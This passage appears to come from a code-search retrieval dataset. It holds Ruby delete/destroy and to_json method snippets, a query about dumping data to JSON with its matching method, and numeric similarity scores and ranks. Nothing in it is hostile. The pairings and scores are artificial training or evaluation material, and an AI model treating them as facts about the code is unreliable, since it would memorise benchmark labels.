"def destroy\n begin\n self.class.delete(dn)\n @new_entry = true\n rescue Error\n raise DeleteError.new(_(\"Failed to delete LDAP entry: %s\") % dn)\n end\n end",
"def delete_entry(aliaz)\n\n end",
"def delete(name)\n connect { |connection| connection.delete dn(name) }\n end",
"def delete_entry(params)\n dd = DBDeleter.new(params)\n dd.delete\n end",
"def delete(requestor, dn)\n log(\"#{requestor[:name]} #{requestor[:ip]} deleted #{dn}\")\n \n ret = {\n :status => 1,\n :message => \"Success\",\n :values => \"\"\n }\n @ds.delete(:dn => dn)\n ret = @ds.get_operation_result\n return ret\n end",
"def delete(args)\n dn = args[:dn] or raise \"Unable to delete empty DN\"\n controls = args.include?(:control_codes) ? args[:control_codes].to_ber_control : nil #use nil so we can compact later\n message_id = next_msgid\n request = dn.to_s.to_ber_application_string(Net::LDAP::PDU::DeleteRequest)\n\n write(request, controls, message_id)\n pdu = queued_read(message_id)\n\n if !pdu || pdu.app_tag != Net::LDAP::PDU::DeleteResponse\n raise Net::LDAP::ResponseMissingOrInvalidError, \"response missing or invalid\"\n end\n\n pdu\n end",
"def delete_entry(key, **options); end",
"def destroy\n dns_entry_response = RestClient.delete('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records/:identifier',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n @dns_entry.destroy\n respond_to do |format|\n format.html { redirect_to dns_entries_url, notice: \"Dns entry was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete_entry(key, options)\n dataset.delete Google::Cloud::Datastore::Key.new @datastore_kind_name, key\n end",
"def delete_entry(cache_id:, request:)\n {\n method: \"CacheStorage.deleteEntry\",\n params: { cacheId: cache_id, request: request }.compact\n }\n end",
"def delete(entry_id)\n\t\t\tkparams = {}\n\t\t\t# Data entry id to delete\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.queue_service_action_call('data', 'delete', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n redirect_to(entries_url)\n end",
"def delete_entry\n\t\t#delete product from cards\n\t\t\[email protected](\"delete from cards where card_no=?\")\n\t\t\tstatement.execute(@card_no)\n\t\t#delete product from inline_products\n\t\t\[email protected](\"delete from inline_products where card_no=?\")\n\t\t\tstatement1.execute(@card_no)\n\tend",
"def delete(host)\n\t\tputs \"Remove entry from the local host repository: #{host} \"\n\t\thost=host.strip.downcase\n\t\tif @known_hosts.key?(host)\n\t\t\t@known_hosts.delete(host)\n\t\t\tputs \"Entry cleared.\"\n\t\t\treturn host\n\t\telse\n\t\t\tputs \"Entry not fund. Skip: #{host}\"\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n head :no_content\n end",
"def delete_entry(key, **options)\n failsafe(:delete_entry, returning: false) do\n with { |c| c.del key }\n end\n end",
"def delete(account)\n matches = @db.find(account)\n count = 0\n matches.each do |match|\n hsay \"-\" * 40, :separator_bar\n hsay match, :normal\n hsay \"-\" * 40, :separator_bar\n\n if hagree \"Delete this entry (y/n) ?\" then\n @db.delete(match)\n count += 1\n end\n end\n hsay \"#{count} records matching '#{account}' deleted.\", :information\n end",
"def delete_domain!(name)\n sdb_query({:Action => 'DeleteDomain', 'DomainName' => name})\n end",
"def destroy\n @account_entry = AccountEntry.find(params[:id])\n @account_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(account_entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ldap_entry = LdapEntry.find(params[:id])\n @ldap_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to ldap_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry.destroy\n flash[:success] = \"Entry deleted\"\n redirect_to request.referrer || root_url\n end",
"def delete_entry(key, options) # :nodoc:\n @data.where(key: key).delete\n rescue Sequel::Error => e\n logger.error(\"Sequel::Error (#{e}): #{e.message}\") if logger\n false\n end",
"def destroy\n @entry ||= Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n debugger\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def delete_account\n @connection.request({\n :method => 'DELETE'\n })\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url, :notice => \"Entry has been deleted\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_entries_url }\n format.json { head :no_content }\n end\n end",
"def delete_account\n @connection.request({\n :method => 'DELETE'\n }) \n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dn.destroy\n respond_to do |format|\n format.html { redirect_to dns_url, notice: 'Dn was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def contact_delete(handle)\n query 'contact-delete', { handle: handle }\n end",
"def test_for_deleteEntry\n assert_equal( @item1.deleteEntry( \"doesn't exist\" ),\n\t \"Error: 'Doesn't exist' is not logged for '2013-02-01'.\" )\n\tassert_equal( @item1.deleteEntry( \"ham\" ),\n\t \"Success! 'Ham' was deleted for '2013-02-01'.\" )\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url, notice: \"Eintrag erfolgreich gelöscht. #{undo_link}\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to [@project, :entries] }\n format.json { head :no_content }\n end\n end",
"def delete_entry(key, options) # :nodoc:\n with { |c| c.delete(key) }\n rescue Dalli::DalliError => e\n log_dalli_error(e)\n instrument_error(e) if instrument_errors?\n raise if raise_errors?\n false\n end",
"def destroy\n @entry = @resource_finder.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to_resources }\n format.xml { head :ok }\n end\n end",
"def delete_dns_record(domain, record_id)\n connection.post \"/dns/delete/#{domain}\", { :record_id => record_id }\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to manage_entries_path }\n format.json { head :no_content }\n end\n end",
"def delete(entry)\n if index = @cache.delete(entry)\n entries.delete_at(index)\n end\n end",
"def delete(username, realm)\n if has_entry?(username, realm) then\n ir = internal_record(username, realm)\n line_index = ir['line_index']\n @entries.delete(ir['entry'].key)\n @lines[line_index] = nil\n dirty!\n end\n nil\n end",
"def delete(username, realm)\n if has_entry?(username, realm) then\n ir = internal_record(username, realm)\n line_index = ir['line_index']\n @entries.delete(ir['entry'].key)\n @lines[line_index] = nil\n dirty!\n end\n nil\n end",
"def del\n connection.del(key_label)\n end",
"def delete_entry(key, options) # :nodoc:\n response = @data.del(key)\n rescue => e\n logger.error(\"Error deleting cache entry from redis: #{e}\") if logger\n false\n end",
"def couchdb_delete(urn, host = '127.0.0.1', options = @@default_options)\n query_couchdb(urn, 'DELETE', host, options)\n end",
"def destroy\n @cg_entry = CgEntry.find(params[:id])\n @cg_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to cg_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to '/entries' }\n format.json { render json: @entry }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"def delete(connection)\n response = Hpricot.XML(connection.process(Document::Delete.new(self).xml))\n raise Exception, response.at('error').innerHTML if response.at('error')\n self.handle = nil\n self\n end",
"def destroy\n @entry = Entry.find(params[:id])\n entry_type = @entry.entry_type\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_entries_url(:entry_type => entry_type)}\n format.json { head :no_content }\n end\n end",
"def cfdelete(dist_id) # cf://DIST_ID\n send_command \"cfdelete\", dist_id\n end",
"def delete!\n resource = RESOURCE % { account_id: account.id, id: id }\n response = Request.new(account.client, :delete, resource).perform\n from_response(response.body[:data])\n end",
"def destroy\n @subentry = Subentry.find(params[:id])\n @subentry.destroy\n\n respond_to do |format|\n format.html { redirect_to(subentries_url) }\n format.xml { head :ok }\n end\n end",
"def delete_entry(key, **options)\n rescue_error_with(false) { @data.with { |c| c.delete(key) } }\n end",
"def delete_host(host)\n validate_list([[\"Host\", host, :presence]])\n options = {\"Host\" => host}\n\n connection = Connection.new\n connection.post(\"Domain/Host/Delete\", options)\n end",
"def delete(entry_id)\n\t\t\tkparams = {}\n\t\t\t# Mix entry id to delete\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.queue_service_action_call('mixing', 'delete', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(:action => :index) }\n format.xml { head :ok }\n end\n end",
"def remove_subscription_entry(name)\n\t\tend",
"def delete(connection)\n r = connection.execute(%(<SiteDeleteRequest session-id=\"#{connection.session_id}\" site-id=\"#{@id}\"/>))\n r.success\n end",
"def destroy\n member_id = @entry.member_id\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to Member.find(member_id), notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_entry \n @library = AdminLibrary.friendly.find(params[:admin_library_id])\n @entry = LibraryEntry.find(params[:id])\n if @entry.destroy \n flash[:notice] = \"#{@entry.entriable.title} was removed from your Archive!\"\n redirect_to request.referrer\n else \n flash[:alert] = \"Could not remove this from your Archive for some reason. Please contact us.\"\n redirect_to request.referrer\n end \n end",
"def delete_entry(key, **options)\n raise NotImplementedError.new\n end",
"def destroy\n @entry = Entry.find_by_id(params[:id])\n @entry.destroy if @entry\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def remove(entry)\n @entry_set.delete(get_entry(entry))\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to user_path current_user }\n format.xml { head :ok }\n end\n end",
"def delete_entry(key, options) # :nodoc:\n @data.remove(key)\n rescue => e\n logger.error(\"KyotoTycoonError (#{e}): #{e.message}\") if logger\n false\n end",
"def destroy\n @account = Account.find(params[:account_id])\n @journal.destroy\n respond_to do |format|\n flash[:notice] = 'Roz-Namcho Entry was successfully deleted from ' + @journal.account.account_name + \"'s Account.\"\n format.html { redirect_to account_journals_path(@account) }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n url, subdomain, path, = parse_args(*args)\n rewrap_errors do\n RestClient.delete(build_url(url || subdomain, path), headers)\n end\n end",
"def del_url(k)\n url('del') + \"?k=#{URI.escape k}\"\n end",
"def del_host(wspace, address, comm='')\n\t\thost = wspace.hosts.find_by_address_and_comm(address, comm)\n\t\thost.destroy if host\n\tend",
"def remove(entry); end",
"def delete\n execute_request { faraday_connection.delete }\n end",
"def delete_entry(db, id)\r\n\tdb.execute(\"DELETE FROM games WHERE id=?\", id)\r\n\tputs \"Entry deleted.\"\r\nend",
"def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end",
"def remove!(entry)\n rel_path = Wide::PathUtils.relative_to_base(base_path, entry.path)\n\n cmd = cmd_prefix.push('rm', '-f', \"path:#{rel_path}\")\n shellout(Escape.shell_command(cmd))\n\n raise CommandFailed.new(\"Failed to remove file #{src_path} in the Mercurial repository in #{base_path}\") if $? && $?.exitstatus != 0\n end",
"def delete(contactname)\n\n end",
"def delete(dst)\n _check_open!\n re = Entry.new\n if( re.dst.set_string(dst) and ::Dnet.route_get(@handle, re) == 0 )\n return re \n end\n end",
"def delete(entry_id)\n\t\t\tkparams = {}\n\t\t\t# Document entry id to delete\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.queue_service_action_call('document', 'delete', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def delete!\n resource = self.class::RESOURCE % { account_id: account.id, id: id }\n response = Request.new(account.client, :delete, resource).perform\n from_response(response.body[:data])\n end",
"def destroy\n home = current_entry.collection_path\n current_entry.destroy\n redirect_to home\n end",
"def domain_delete(domain)\n response = send_request(domain_delete_xml(domain))\n\n get_result(response)\n end",
"def delete(username)\n if has_entry?(username) then \n ir = internal_record(username)\n line_index = ir['line_index']\n @entries.delete(ir['entry'].key)\n @lines[line_index] = nil\n dirty!\n end\n nil\n end",
"def delete(username)\n if has_entry?(username) then \n ir = internal_record(username)\n line_index = ir['line_index']\n @entries.delete(ir['entry'].key)\n @lines[line_index] = nil\n dirty!\n end\n nil\n end",
"def delete(atom)\n form_data = { atom_id: atom.id }\n @hive_party.post \"/atoms/#{atom.id}/deletions\", form_data\n end",
"def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to dictionary_entries_url(@dictionary),\n notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_entries(entries)\n delete_all(:id => entries)\n end",
"def destroy\n @entry = current_user.entries.find(params[:id])\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"def on_delete(resource_uri, opts)\n debug \"on_delete: #{resource_uri}\"\n delete_resource(resource_uri, opts)\n show_resource(nil, opts) # epistrefei ena sketo \"OK\"\n end",
"def delete\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.delete do |req|\n req.url resource_uri\n end\n if res.success?\n data = JSON.parse(res.body)\n reload\n else\n nil\n end\n end",
"def delete(connection)\n connection.delete_vuln_exception(@id)\n end"
] | [
"0.7283597",
"0.68367934",
"0.68008673",
"0.67022884",
"0.6545504",
"0.6452004",
"0.63261557",
"0.6283859",
"0.5983127",
"0.59383315",
"0.5937805",
"0.59077823",
"0.5865994",
"0.58384407",
"0.5783325",
"0.5737294",
"0.5722508",
"0.5717711",
"0.570386",
"0.56989276",
"0.56645185",
"0.56571215",
"0.5579299",
"0.55746925",
"0.55657315",
"0.5562984",
"0.5556856",
"0.55539024",
"0.5540061",
"0.55373514",
"0.55316496",
"0.55236375",
"0.55236375",
"0.55236375",
"0.55236375",
"0.55236375",
"0.5521263",
"0.54898536",
"0.5464804",
"0.5448434",
"0.5442245",
"0.54414916",
"0.5434764",
"0.54326516",
"0.542422",
"0.542422",
"0.542422",
"0.54168856",
"0.5415077",
"0.540494",
"0.540494",
"0.54001313",
"0.5381545",
"0.53792083",
"0.5378834",
"0.5366417",
"0.5363281",
"0.5363281",
"0.53616756",
"0.5359104",
"0.53539866",
"0.53425485",
"0.53391784",
"0.5331435",
"0.53200746",
"0.531788",
"0.53167295",
"0.5311032",
"0.5305758",
"0.5302922",
"0.5302163",
"0.52879626",
"0.5280533",
"0.52800024",
"0.5262715",
"0.5261841",
"0.5242022",
"0.5236658",
"0.5228535",
"0.52275014",
"0.5226755",
"0.5223793",
"0.52210206",
"0.52204686",
"0.5212134",
"0.52044815",
"0.5196529",
"0.5195244",
"0.5190411",
"0.5179429",
"0.51760113",
"0.5175369",
"0.5175369",
"0.5171726",
"0.51656663",
"0.51557827",
"0.51406956",
"0.5136794",
"0.5134111",
"0.5126867"
] | 0.79056066 | 0 |
Dump data into a JSON formatted string | def dump(obj, max_bytes: 2**12, max_depth: 3)
bytesize = 0
hash = obj.each_with_object({}) do |(k, v), acc|
str = (k.to_json + v.to_json)
items = acc.keys.size - 1
if bytesize + str.bytesize + items + ELLIPSIS.bytesize > max_bytes
acc[k] = ELLIPSIS
break acc
else
bytesize += str.bytesize
acc[k] = dump_val(v, max_depth)
end
end
::JSON.generate(hash)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def json_out(data)\n content_type 'application/json', :charset => 'utf-8'\n data.to_json + \"\\n\"\n end",
"def json_out(data)\n content_type 'application/json', :charset => 'utf-8'\n data.to_json + \"\\n\"\n end",
"def json_out(data)\n content_type 'application/json', :charset => 'utf-8'\n data.to_json + \"\\n\"\n end",
"def to_json\n JSON.pretty_generate(@data)\n end",
"def to_json\n j = \"{\\n\"\n @data.each_pair {|k,v| j += \"#{k}:'#{v}'\\n\"}\n j += '}'\n end",
"def to_s\n return @data.to_json\n end",
"def to_json!\n File.open(\"./meta_data.json\", \"w+\") { |f| f.puts JSON.pretty_generate(raw_data) }\n end",
"def to_nice_json\n JSON.pretty_generate to_hash\n end",
"def to_nice_json\n JSON.pretty_generate to_hash\n end",
"def save_output_json(data)\n File.open(\"output.json\", \"wb\") {|f| f.write(JSON.pretty_generate(data))}\nend",
"def to_json\n data.to_json\n end",
"def json\n @data.to_json\n end",
"def to_json\n io = StringIO.new << \"{\"\n\n io << JSON.create_id.to_json << \":\" << self.class.name.to_json << \",\"\n\n @data.each {|key, value|\n io << key.to_json.to_s << \":\" << value.to_json << \",\"\n }\n\n io.seek(-1, IO::SEEK_CUR)\n io << \"}\"\n\n io.string\n end",
"def to_json(*args)\n data.to_json(*args)\n end",
"def to_json\n JSON.pretty_generate(to_hash)\n end",
"def to_s\n JSON.pretty_generate(@json)\n end",
"def to_json\n JSON.pretty_generate(to_h)\n end",
"def to_s\n JSON.dump(to_h)\n end",
"def export(data, indent=0)\n str = \"{\\n\"\n \n data.keys.sort{|k1,k2| k1.to_s <=> k2.to_s}.each_with_index do |k, i|\n str << (\" \" * (indent+1))\n str << \"#{k.inspect} => \"\n if data[k].kind_of?(Hash)\n str << export(data[k], indent+1)\n else\n str << data[k].inspect\n end\n str << \",\" if i < (data.keys.size - 1)\n str << \"\\n\"\n end\n \n str << (\" \" * (indent))\n str << \"}\"\n \n str\n end",
"def to_s\n JSON.pretty_generate(raw)\n end",
"def to_json\n @data.to_json\n end",
"def to_json(*args)\n {\n 'json_class' => self.class.name,\n 'data' => to_s\n }.to_json(*args)\n end",
"def inspect\n \"#<#{self.class}:0x#{object_id.to_s(16)}> JSON: \" +\n JSON.pretty_generate(@data)\n end",
"def to_s\n self.to_array.map{ |hsh| JSON.pretty_generate(hsh) }.join(\"\\n\")\n end",
"def to_json\n #JSON.fast_generate(to_hash)\n JSON.pretty_generate(to_hash)\n end",
"def to_json\n #JSON.fast_generate(to_hash)\n JSON.pretty_generate(to_hash)\n end",
"def display_pretty_json(data)\n puts JSON.pretty_generate(data)\nend",
"def serialize_to_json\n @data.to_json\n end",
"def to_json\n FFI_Yajl::Encoder.encode(@data, pretty: true)\n end",
"def write_pretty_json(filename, data)\n File.open(\"data/#{filename}\", 'w') do |f|\n f.write(JSON.pretty_generate(data))\n end\nend",
"def pretty_generate\n JSON.pretty_generate( self.to_h )\n end",
"def as_json(*_args)\n to_s\n end",
"def to_str\n body={\n id: @id,\n event: @event,\n data: @data,\n }\n if errors.any?\n body[:errors_count][email protected]\n body[:errors]=@errors\n end\n body.to_json\n end",
"def to_json(options = {:space => ''}, *a)\n JSON.pretty_generate( to_hash, options )\n end",
"def to_json(*_args)\n JSON.pretty_generate(to_h)\n end",
"def as_json(_options = nil)\n to_s\n end",
"def to_json(*_args)\n JSON.dump as_json\n end",
"def to_json\n i = 0\n datas = Array.new\n td = Array.new\n\n ds = @data\n ds.each_with_index do |row,index|\n data = \"{\"\n td.clear\n row.each_pair do |key,value|\n td.push(\"#{format(key)}: #{format(value)}\")\n end\n\n data +=td.join(\",\")\n data += \"}\"\n datas.push(data)\n end\n data = \"[#{datas.join(\",\")}]\"\n data\n end",
"def json(data, *)\n build_string(data, \"\\n\", '{', '}') do |key, value, index:, last:, first:|\n json_row(key, value, index: index, first: first, last: last)\n end\n end",
"def toJsonString(prettyP = false)\n case(prettyP)\n when(true) ;\n return JSON.pretty_generate(toJson()) ;\n when(:line) ;\n _strList = @entryList.map{|entry| JSON.generate(entry.toJson())} ;\n return \"[\\n #{_strList.join(\",\\n \")}\\n]\" ;\n else\n return JSON.generate(toJson()) ;\n end\n end",
"def json\n JSON.pretty_generate(hash)\n end",
"def to_json\n pretty ? JSON.pretty_generate(output) : output.to_json\n end",
"def as_json(options=nil)\n to_s\n end",
"def to_json(options={})\n ret = super({ :root => 'data' }.merge(options))\n puts \"CONVERTING: #{options} TO: #{ret}\"\n ret\n end",
"def as_json(data)\n Yajl::Encoder.encode(data)\n end",
"def format_data(data)\n case format\n when :json\n JSON.pretty_generate(data)\n else # default to YAML\n data.to_yaml.sub(/\\A\\-\\-\\-\\n/, '')\n end\n end",
"def to_json\n json_hash = {\n :id => @id,\n :timestamp => @timestamp.to_i,\n :data => @data,\n :data_part => @data_part&.to_json,\n :minimum_size => @minimum_size,\n }\n\n JSON.generate(json_hash)\n end",
"def to_json_s\n require 'json' unless defined? JSON\n puts JSON.pretty_generate(JSON.parse(@response_hash.to_json))\n end",
"def save_as_JSON\n @result_pretty = JSON.pretty_generate(@result_scrap)\n File.open(\"./db/#{@name}.json\",\"w\") do |f|\n f.write(@result_pretty)\n end\n end",
"def pretty_json\n JSON.pretty_generate({\n \"id\" => @id,\n \"aliases\" => @aliases,\n \"origins\" => @origins.map(&:to_local),\n \"default-cache-behavior\" => @default_cache_behavior.to_local,\n \"cache-behaviors\" => @cache_behaviors.map(&:to_local),\n \"comment\" => @comment,\n \"enabled\" => @enabled,\n })\n end",
"def to_json\n to_s.to_json\n end",
"def to_s\n Clever::JSON.dump @values, pretty: true\n end",
"def show_json_debug(section, data)\n Puppet.debug \"in debug #{section}\"\n Puppet.debug JSON.pretty_generate(data).to_s\n end",
"def formatJSON\n # @formattedContents = .... whatever puts it into JSON\n end",
"def to_s\n to_json.to_s\n end",
"def to_json\n Oj.dump(to_hash)\n end",
"def generate_json(json_file_name, data)\n File.open(json_file_name, 'w') do |f|\n f.puts(data.to_json)\n end\n end",
"def as_json(opts)\n @data.as_json(opts)\n end",
"def to_json(_options = nil)\n @json ||= @hash ? @hash.to_json : \"\"\n end",
"def as_json(options = {})\n @data\n end",
"def to_s\n to_json\n end",
"def save_data(file)\n File.open(file, 'w').write(JSON.pretty_generate(@data))\n end",
"def to_json(options={})\n ::JSON.dump(to_hash(options))\n end",
"def to_json\n JSON.dump ({\n :name => @name,\n :age => @age,\n :gender => @gender\n })\n end",
"def to_json(pretty=true)\n pretty ? JSON::pretty_generate(self) : JSON.dump(self)\n end",
"def to_json(pretty=true)\n pretty ? JSON::pretty_generate(self) : JSON.dump(self)\n end",
"def to_json(pretty=true)\n pretty ? JSON::pretty_generate(self) : JSON.dump(self)\n end",
"def print_data(layout = :print_layout)\n PrintData.new(sections(layout)).to_json\n end",
"def save_data(data)\n raw = JSON.dump(data)\n File.open(FILENAME, 'w') do |file|\n file.write(raw)\n end\nend",
"def pretty_json(data={}, options={})\n response[CONTENT_TYPE] = APPLICATION_JSON\n response.status = options[:status] if options.has_key?(:status)\n response.write JSON.pretty_generate(data)\n end",
"def to_json( pretty_print = false )\n if pretty_print\n JSON.pretty_generate( self.to_h )\n else\n self.to_h.to_json\n end\n end",
"def to_json( pretty_print = false )\n if pretty_print\n JSON.pretty_generate( self.to_h )\n else\n self.to_h.to_json\n end\n end",
"def json(input)\n JSON.dump(input)\n end",
"def as_json\n to_s.as_json\n end",
"def json(indent=0)\n Oj.dump(@root, mode: :wab, indent: indent)\n end",
"def to_json\n return Json.dump(to_hash)\n end",
"def to_s\n {\n fullname: fullname,\n address: address,\n dob: dob,\n email: email,\n username: username\n }.to_json\n end",
"def dump(obj)\n obj.to_json if obj\n end",
"def to_json_string\n MARC::JSONLWriter.encode(self)\n end",
"def to_json\n to_raw.to_json\n end",
"def pretty_print_json(source)\n JSON.pretty_generate(source)\n end",
"def to_json\n Yajl::Encoder.encode(to_hash, :pretty => true)\n end",
"def write_json(a)\n write \"(\" + a.write_json_item + \")\\n\"\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n end",
"def save_as_json\n File.open(\"db/emails.json\",\"w\") do |f|\n f.write(JSON.pretty_generate(@hash_villes_emails))\n end\n end",
"def to_json\n Yajl::Encoder.encode(@raw_data)\n end",
"def write_to_json\n p_hash = pretty_hash()\n File.open(\"map_data2.json\",\"w\") do |f|\n my_json = JSON.pretty_generate(p_hash)\n f.write(my_json)\n end\n end",
"def to_json(pretty_print = false)\n if pretty_print\n JSON.pretty_generate(to_h)\n else\n to_h.to_json\n end\n end",
"def to_json(options = {})\n ::JSON.dump(to_a(options))\n end",
"def to_json(opts={})\n hsh = self.to_ordered_hash(opts)\n if opts.fetch(:pretty, false)\n JSON.pretty_generate(hsh)\n else\n hsh.to_json\n end\n end",
"def pretty_json\n JSON.pretty_generate(pretty_hash)\n end",
"def pretty_json\n JSON.pretty_generate(pretty_hash)\n end",
"def as_json(*args)\n data\n end",
"def create_json\n File.open('data/pokemon.json', 'w+') do |f|\n f << JSON.pretty_generate(get_basic_data)\n end\nend",
"def pretty_json\n JSON.pretty_generate({\n \"cooldown-seconds\" => @cooldown,\n \"enabled-metrics\" => @enabled_metrics,\n \"health-check-type\" => @check_type,\n \"health-check-grace-seconds\" => @check_grace,\n \"launch-configuration\" => @launch,\n \"load-balancers\" => @load_balancers,\n \"policies\" => {\n \"static\" => [],\n \"templates\" => [],\n \"inlines\" => @policies.map { |p| p.hash }\n },\n \"scheduled\" => @scheduled.map { |s| s.hash },\n \"size\" => {\n \"min\" => @min,\n \"max\" => @max,\n \"desired\" => @desired\n },\n \"subnets\" => @subnets,\n \"tags\" => @tags,\n \"termination\" => @termination\n }.reject { |k, v| v.nil? })\n end",
"def debug_out()\n return JSON.pretty_generate(self).gsub(\"\\\": \", \"\\\" => \").gsub(\" => null\", \" => nil\")\n end",
"def to_json(*args)\n JSON.dump(to_hash, *args)\n end",
"def write_json(file)\n open(file, \"w\") do |io|\n \tio.write(JSON.pretty_generate(@data))\n end\n end",
"def to_json\n JSON.generate(to_h)\n end",
"def to_json(_context = nil)\n to_h.to_json\n end",
"def tojson\n\t\tend",
"def write_data(data = nil)\n # Return nil if no data is supplied\n return nil if data.nil?\n # Return a JSON string and the data if a Hash is supplied\n parsed_json = data.is_a?(Hash) || data.is_a?(Array)\n return JSON.generate(data), data if parsed_json\n # Otherwise return the data as a string and a parsed JSON hash\n data = data.to_s\n [data, JSON.parse(data)]\n end"
] | [
"0.7622262",
"0.7622262",
"0.7622262",
"0.75341743",
"0.74195427",
"0.7172281",
"0.70908517",
"0.6977205",
"0.6977205",
"0.69614565",
"0.69446486",
"0.69425774",
"0.68894756",
"0.6823157",
"0.67997605",
"0.67718923",
"0.6771829",
"0.67412823",
"0.6737895",
"0.6725289",
"0.66989464",
"0.6688517",
"0.66859156",
"0.66807276",
"0.66616994",
"0.66616994",
"0.66612625",
"0.6654828",
"0.662806",
"0.6618145",
"0.66093004",
"0.6607133",
"0.660349",
"0.65985966",
"0.65972817",
"0.65796584",
"0.65789336",
"0.65726435",
"0.6543349",
"0.6529142",
"0.65172815",
"0.65158725",
"0.6486257",
"0.64857477",
"0.6478251",
"0.6477836",
"0.64722985",
"0.64654624",
"0.6441996",
"0.64395005",
"0.64243513",
"0.6413087",
"0.6407891",
"0.64026874",
"0.6400975",
"0.6394338",
"0.6387048",
"0.6381598",
"0.63638806",
"0.63591635",
"0.6350793",
"0.6345125",
"0.6339513",
"0.633933",
"0.633758",
"0.633758",
"0.633758",
"0.6335712",
"0.63325226",
"0.6311846",
"0.63090605",
"0.63090605",
"0.63068795",
"0.6301903",
"0.62984717",
"0.62935585",
"0.62907463",
"0.6289393",
"0.62862164",
"0.6277488",
"0.6272589",
"0.6268888",
"0.6257088",
"0.62549496",
"0.6247377",
"0.62338144",
"0.6232298",
"0.6231965",
"0.6230271",
"0.6226586",
"0.6226586",
"0.6220448",
"0.62147367",
"0.62084144",
"0.6208215",
"0.6204238",
"0.6191976",
"0.61871934",
"0.6177178",
"0.61654425",
"0.6164696"
] | 0.0 | -1 |
